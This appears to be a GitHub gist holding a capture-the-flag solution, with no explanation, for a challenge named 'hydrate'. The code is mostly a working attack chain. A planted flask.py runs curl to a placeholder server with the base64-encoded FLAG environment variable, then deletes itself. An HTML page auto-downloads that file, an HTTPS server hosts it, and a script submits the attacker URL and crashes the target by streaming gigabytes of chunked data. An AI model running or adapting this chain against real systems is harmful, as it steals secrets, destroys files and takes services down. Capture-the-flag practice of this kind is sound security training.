Skip to content

Instantly share code, notes, and snippets.

@Romern
Created October 20, 2024 18:13
Show Gist options
  • Save Romern/4a3f774c56bc08fd0fb218f33b2b69e2 to your computer and use it in GitHub Desktop.
Save Romern/4a3f774c56bc08fd0fb218f33b2b69e2 to your computer and use it in GitHub Desktop.
hydrate
import os
import base64
os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode())
os.system("rm /app/flask.py")
os._exit(1)
<html>
<head>
<script>
function download(url) {
const anchor = document.createElement('a')
anchor.href = url
anchor.download = url.split('/').pop()
document.body.appendChild(anchor)
anchor.click()
document.body.removeChild(anchor)
}
window.onload = function() {download("flask.py")};
</script>
</head>
<body>
</body>
</html>
from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
from pathlib import Path
port = 443
httpd = HTTPServer(("0.0.0.0", port), SimpleHTTPRequestHandler)
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(Path(__file__).parent / "../server.pem")
httpd.socket = ssl_context.wrap_socket(
httpd.socket,
server_side=True,
)
print(f"Serving on https://localhost:{port}")
httpd.serve_forever()
import hashlib
from pwn import remote, context
from time import sleep
# Set context log level to hide verbose messages from pwntools
context.log_level = 'error'
def solve_pow(challenge, prefix):
"""Solves the proof of work challenge."""
for s in range(2**40):
potential_solution = f'{challenge}{s}'
hash_value = hashlib.sha256(potential_solution.encode('utf-8')).hexdigest()
if hash_value.startswith(prefix):
return potential_solution
def get_domain():
# Connect to the server
print("Retrieving POW challenge")
conn = remote('hydrate.today', 1337)
# Receive the challenge and prefix using recvuntil to capture the full structure
# Receive until we get 'string that starts with ', then extract the challenge
conn.recvuntil(b'string that starts with ')
challenge_info = conn.recvuntil(b' and whose sha256 hash starts with ').decode()
challenge = challenge_info.split(' ')[0].strip() # Extract challenge part
# Extract the sha256 prefix
prefix_info = conn.recvuntil(b'!\n').decode()
prefix = prefix_info.split(' ')[0].strip()
print(f"Solving PoW for challenge: {challenge}, with prefix: {prefix}")
# Solve the PoW
solution = solve_pow(challenge, prefix)
print(f"PoW solution: {solution}")
# Send the solution back to the server
conn.sendline(solution.encode())
# Wait for the challenge instance to be ready
conn.recvuntil(b'Challenge instance is ready!')
conn.recvuntil(b'Please visit ')
domain = conn.recvline().decode().strip()
print(f"Domain: {domain}")
# Close the connection
conn.close()
domain = domain.replace('https://', '')
return domain
host = get_domain()
port = 443
protocol = "https"
print(f"found host: {host}")
print("waiting 5 seconds for service to be spawned")
sleep(5)
### First Stage: Download flask.py with malicious code
print("First Stage: Download flask.py with malicious code")
import requests
resp = requests.post(f"{protocol}://{host}:{port}/report", data={"url": "https://MYSERVER"})
print(f"Response: {resp.text}")
### Second stage: Crash the server through OOM
print("Second stage: Crash the server through OOM")
import socket
import ssl
raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if protocol == "https":
context = ssl.create_default_context()
client_socket = context.wrap_socket(raw_socket, server_hostname=host)
else:
client_socket = raw_socket
client_socket.connect((host, port))
def send_chunk(socket, chunk_data):
# Send the chunk size in hexadecimal followed by \r\n
socket.send(f"{len(chunk_data):X}\r\n".encode())
# Send the actual chunk data followed by \r\n
socket.send(f"{chunk_data}\r\n".encode())
# Create the POST request headers
headers = (
"POST /report HTTP/1.1\r\n"
"Host: {}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
).format(host)
client_socket.send(headers.encode())
# Start sending the single 'url=' with infinite 'A's
# Send the 'url=' part of the body first
send_chunk(client_socket, "url=")
counter = 0
# Now send infinite 'A's, chunked
a_amount = 1024 * 1024 * 50
long_a = "A" * a_amount
while True:
# Send a chunk of 1000 'A's
send_chunk(client_socket,long_a)
counter = counter + 1
print(f"send {counter}, mb: {(a_amount * counter) / (1024*1024)}")
if (a_amount * counter) / (1024*1024) > 12500:
client_socket.send("0\r\n\r\n".encode())
break
response = b''
# Receive the response data in chunks
try:
while True:
data = client_socket.recv(4096) # Receive up to 4096 bytes
if not data:
break
response += data
except socket.timeout:
print("Socket timed out waiting for response")
# Close the socket
client_socket.close()
print(f"output:\n{response.decode()}")
# Close the socket
client_socket.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment